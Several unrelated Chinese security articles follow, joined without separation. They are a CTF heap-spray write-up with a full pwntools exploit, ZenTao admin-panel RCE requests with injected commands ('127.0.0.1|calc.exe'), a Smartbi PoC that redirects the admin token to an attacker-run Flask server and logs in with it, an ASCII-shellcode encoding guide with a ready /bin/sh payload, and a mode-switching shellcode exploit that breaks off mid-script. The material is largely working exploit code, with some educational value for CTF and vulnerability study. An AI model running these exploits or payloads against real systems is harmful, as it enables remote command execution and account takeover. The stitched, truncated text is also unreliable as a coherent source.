从2023蓝帽杯0解题heapSpary入门堆喷
关于堆喷
堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。
前言
此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。
题目分析
checksec
❯ checksec main
[*] '/root/P-W-N/bulue/main'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,很常规。
这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。
先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3;
v3 = a1;
__libc_start_main(
(int (__cdecl *)(int, char **, char **))sub_1D64,
v2,
&retaddr,
(void (*)(void))sub_1D90,
(void (*)(void))sub_1E00,
a2,
&v3);
__halt();
}
这个main没什么好看的,快进到初始化和菜单
初始化如下
unsigned int sub_134D()
{
unsigned int result; // eax
unsigned int buf; // [esp+0h] [ebp-18h] BYREF
int fd; // [esp+4h] [ebp-14h]
int v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 4u) < 0 )
exit(0);
close(fd);
srand(buf);
v3 = rand();
malloc(4 * (v3 % 1638));
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_1E10();
return result;
}
初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。
来看菜单,4是不存在的虚空功能
int sub_15E4()
{
puts("========Welcome to new heap game========");
puts("1. Create Heap.");
puts("2. Show Heap.");
puts("3. Delete Heap.");
puts("4. Change Heap.");
puts("5. Action.");
puts("6. Exit.");
return printf("Please give me your choose : ");
}
我们直接来先看看后门函数5
int sub_1C14()
{
int result; // eax
unsigned int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
printf("Please input heap index : ");
v1 = sub_1461();
if ( v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Error happened.");
v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
if ( !**(_DWORD **)v2 )
return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
result = *(_DWORD *)v2;
--**(_DWORD **)v2;
return result;
}
关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。
来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如
0x565a1060: 0x57aebf90 0x00000100
得到的就是0x57aec090
然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下
0x57aec090 —▸ 0x57aeb300 ◂— 0x0
0x57aeb300内存如下(0xf7d99781为system地址)
pwndbg> x/32wx 0x57aeb300
0x57aeb300: 0x00000000 0xf7d99781 0x00000000 0xf7d99781
分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数
_DWORD *sub_1690()
{
_DWORD *result; // eax
int i; // [esp+4h] [ebp-34h]
int k; // [esp+8h] [ebp-30h]
int j; // [esp+Ch] [ebp-2Ch]
int m; // [esp+10h] [ebp-28h]
int v5; // [esp+14h] [ebp-24h]
int v6; // [esp+18h] [ebp-20h]
int v7; // [esp+1Ch] [ebp-1Ch]
for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
;
if ( (int *)i == off_4010 )
return (_DWORD *)puts("Ooops! Here is no space for you.");
printf("How much space do you need : ");
v5 = sub_1461();
if ( v5 <= 0 || v5 > 0x20000 )
return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
;
dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
{
puts("Ooops! Some error happened.");
exit(-1);
}
}
for ( m = 0; m <= 15; ++m )
{
puts("Please input your head data.");
sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
puts("Which flag do you want?");
v6 = sub_1461();
v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
switch ( v6 )
{
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
break;
case 2:
*(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
break;
case 3:
*(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
break;
case 4:
*(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
break;
}
}
printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
result = dword_4040;
dword_4040[0] = i;
return result;
}
我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。
int __cdecl sub_14BA(char *buf, int a2)
{
while ( a2 )
{
if ( read(0, buf, 1u) != 1 )
exit(-1);
if ( *buf == 10 )
{
*buf = 0;
break;
}
++buf;
}
*buf = 0;
return 0;
}
我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。
他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值
dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3.....
如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
就会得到内容如下(此处字节码只做替代作用,非真实情况)
0x100:a
0x101:\x01
0x102:\x02
0x103:\x03
0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖)
0x105:libc or heap
0x106:libc or heap
0x107:libc or heap
要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符
0x100:a
0x101:\x00
0x102:libc or heap
..................
也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。
对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。
所以泄露操作的exp如下,直接破坏他们的链表
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
delete_heap()
delete_heap()
delete_heap()
delete_heap()
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
bin如下
pwndbg> bin
tcachebins
0x10 [ 7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0
0x70 [ 7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0
0xb0 [ 7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0
fastbins
0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ...
unsortedbin
all [corrupted]
FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ...
BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ...
smallbins
empty
largebins
empty
pwndbg>
此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x579ae8e8
Size: 0x151
fd: 0xf7f48778
bk: 0x579ae338
但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))
# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
这样就可以稳定的获得libc,和一个堆地址。
然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。
所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。
tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,)
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
exp
from pwn import *
# 连接到题目提供的服务端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
p.sendlineafter("Please give me your choose : ", "1")
p.sendlineafter("How much space do you need : ", str(size))
p.sendlineafter("Please input your head data.", data)
p.sendlineafter("Which flag do you want?", str(flag))
for _ in range(15):
p.sendlineafter("Please input your head data.", data2)
p.sendlineafter("Which flag do you want?", str(flag))
def delete_heap():
p.sendlineafter("Please give me your choose : ", "3")
all_leak=[]
def leak_libc(idx):
p.sendlineafter("Please give me your choose : ", "2")
p.sendlineafter("Please input heap index : ", str(idx))
p.recvuntil("Heap information is ")
p.recv(4)
leak = u32(p.recv(4).ljust(4,b'\x00'))
return leak
gdb.attach(p,'b *$rebase(0x01C9E)')
#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
delete_heap()
delete_heap()
delete_heap()
delete_heap()
#申请小chunk 疯狂切割,直接一点点带出来
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))
# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
p.interactive()
禅道后台命令执行漏洞二
漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。
禅道后台存在 RCE 漏洞,存在于 V18.0-18.3 之间,经过复现分析,发现漏洞来源于新增加的一个功能模块。
环境搭建
源码下载地址 https://www.zentao.net/dl/zentao/18.2/ZenTaoPMS.18.2.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建
漏洞复现
登录后台后访问添加宿主机
在 ip 域名处 拼接恶意 payload 触发漏洞
POST /index.php?m=zahost&f=create HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722
Connection: close
vsoft=kvm&hostType=physical&name=test2&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za
漏洞分析
这是禅道新增加的一个功能
增加新功能的同时也带来了新的风险点
module/zahost/control.php#create
module/zahost/model.php#create
module/zahost/model.php#checkAddress
module/zahost/model.php#ping
整个漏洞触发流程在断点调试的过程中一目了然
POST /index.php?m=zahost&f=edit&hostID=1 HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722;XDEBUG_SESSION=PHPSTORM
Connection: close
vsoft=kvm&hostType=physical&name=test4&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za
这样也是可以触发的
model.php:119, zahostModel-\>ping()
model.php:149, zahostModel-\>checkAddress()
model.php:94, zahostModel-\>update()
control.php:130, zahost-\>edit()
router.class.php:2199, router-\>loadModule()
index.php:74, {main}()
修复建议
更新至最新版本
执行命令时对地址进行了校验
禅道后台命令执行漏洞
漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。
禅道后台存在 RCE 漏洞,均存在于历史版本,对这些漏洞进行复现分析。
环境搭建
源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建
漏洞复现
登录后台创建 GitLab 类型的代码库
点击 DevOps 模块的设置选项,修改创建的代码库
点击保存并抓取数据包
修改参数 SCM 和 client SCM 修改为 Subversion client 修改为 calc | echo "
触发了命令执行,执行了两次
####
漏洞分析
发现有一些分析文章中描述需要先创建一个代码仓库,也指出了创建代码仓库的原因,因为调用的是 edit 方法,所以要先 create
经过调试发现这是必须的,因为在没创建代码库时,执行 edit 方法,会提示跳转去创建代码库
module/repo/control.php#commonAction
所以需要先创建代码库
module/repo/control.php#create
module/repo/model.php#create
在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作,直接创建成功
module/repo/model.php#checkClient
创建成功后执行编辑操作触发漏洞
POST /index.php?m=repo&f=edit&repoID=0 HTTP/1.1
Host: test.test
Content-Length: 36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=repo&f=edit&repoID=1&objectID=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; windowWidth=1440; windowHeight=722; tab=devops; repoBranch=master;XDEBUG_SESSION=PHPSTORM
Connection: close
SCM=Subversion&client= calc | echo "
module/repo/control.php#edit
module/repo/model.php#update
module/repo/model.php#checkConnection
修复建议
更新至最新版本
smartbi token回调获取登录凭证漏洞
2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01分析结果
依据补丁分析,得到如下漏洞复现步骤
第一步,设置EngineAddress为攻击者机器上的http服务地址
首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,
POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23
http://10.52.32.43:8000
第二步,触发smartbi向我们刚刚设置的EngineAddress外发token
发送如下请求
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
第三步,使用上面获取的token进行登录
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_I8ac3b2d10189e80fe80fea750189ed0084f50082
返回true表示登录成功,其中的cookie就是合法的凭证
0x02分析过程
阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
分析smartbix.datamining.service.MonitorService类从头部的注解可知,该类下的所有路由都不需要认证即可访问
定位到getToken方法该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token
由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法可知该方法可以未授权配置ENGINE_ADDRESS
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
0x03其他说明
上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似
ASCII码-shellcode的技巧
网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧
https://github.com/TaQini/alpha3https://github.com/veritas501/ae64.githttps://github.com/rcx/shellcode_encoder结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题
程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符
接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞
在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0
而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode
剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制
这里使用ae64这个工具
首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可
from ae64 import AE64
from pwn import *
context.arch='amd64'
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()
接着使用ae64的库直接修改为ASCII码shellcode
from pwn import *
from ae64 import AE64
context.arch = 'amd64'
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)
这里rdx即为shellcode执行的时候call的寄存器
然后就可以生成shellcode了
紧接着拿这段生成的shellcode就可以绕过了
exp
from pwn import *
sh = process("./pwn")
context(arch='amd64')
def add(size):
sh.recvuntil(" choice:")
sh.sendline("1")
sh.recvuntil(" message?")
sh.sendline(str(size))
def delete(index):
sh.recvuntil(" choice:")
sh.sendline("2")
sh.recvuntil("o be deleted?")
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil(" choice:")
sh.sendline("3")
sh.recvuntil(" be modified?")
sh.sendline(str(index))
sh.recvuntil("t of the message?")
sh.sendline(content)
def show(index):
sh.recvuntil(" choice:")
sh.sendline("4")
sh.recvuntil(" to be showed?")
sh.sendline(str(index))
def exp():
sh.recvuntil(" choice:")
sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()
sh.interactive()
机器切换-shellcode
有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。
CS寄存器则是用于标记机器位数的关键寄存器
CS=0x33,64位
CS=0x23,32位
那么如何修改CS寄存器的值,则需要通过retfq与retf的指令
refq,从64位切换到32位
push 0x23; #32位的CS寄存器的值
push 0xxx; #需要跳转的地址
retfq; #从32位切换到64位
ref,从32位切换至64位
push 0x33; #64的CS寄存器的值
push 0xxx; #需要跳转的地址
retf; #从64位切换到32位
再以一道题目作为例子,保护如下,还是没有开启NX保护
题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。
这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。
题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小
但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。
并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。
紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。
查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。
可以看到fstat函数的64位的系统调用号为5
但是32位下的系统调用号5为open函数
那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。
这里需要注意两个点
(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址
(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了
exp
from pwn import *
#sh = process("./pwn")
elf = ELF("pwn")
def user(name,desc):
sh.recvuntil("choice:")
sh.sendline("0")
sh.recvuntil(" name?")
sh.send(name)
sh.recvuntil("desc?")
sh.send(desc)
def add(size):
sh.recvuntil("choice:")
sh.sendline("1")
sh.recvuntil(" message?")
sh.send(str(size))
def delete(index):
sh.recvuntil("choice:")
sh.sendline("2")
sh.recvuntil(" be deleted?")
sh.send(str(index))
def edit(index, offset, content):
sh.recvuntil("choice:")
sh.sendline("3")
sh.recvuntil("ssage to be modified?")
sh.send(str(index))
sh.recvuntil("message to be modified?")
sh.send(str(offset))
sh.recvuntil("ent of the message?")
sh.send(content)
while(1):
try:
sh = process("./pwn")
add(0) #0
add(0) #1
add(0x60)
for i in range(8):
add(0x71)
delete(1)
payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
edit(0,0,payload)
add(9)
delete(2)
delete(3)
delete(4)
delete(5)
user('a'*0x10+p64(0)+p64(0x71),'b')
target = 0x6020f0
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
edit(0,0,payload)
add(0x60)#2
sh.recvuntil("Ptr: ")
addr = int("0x"+sh.recv(6),16)
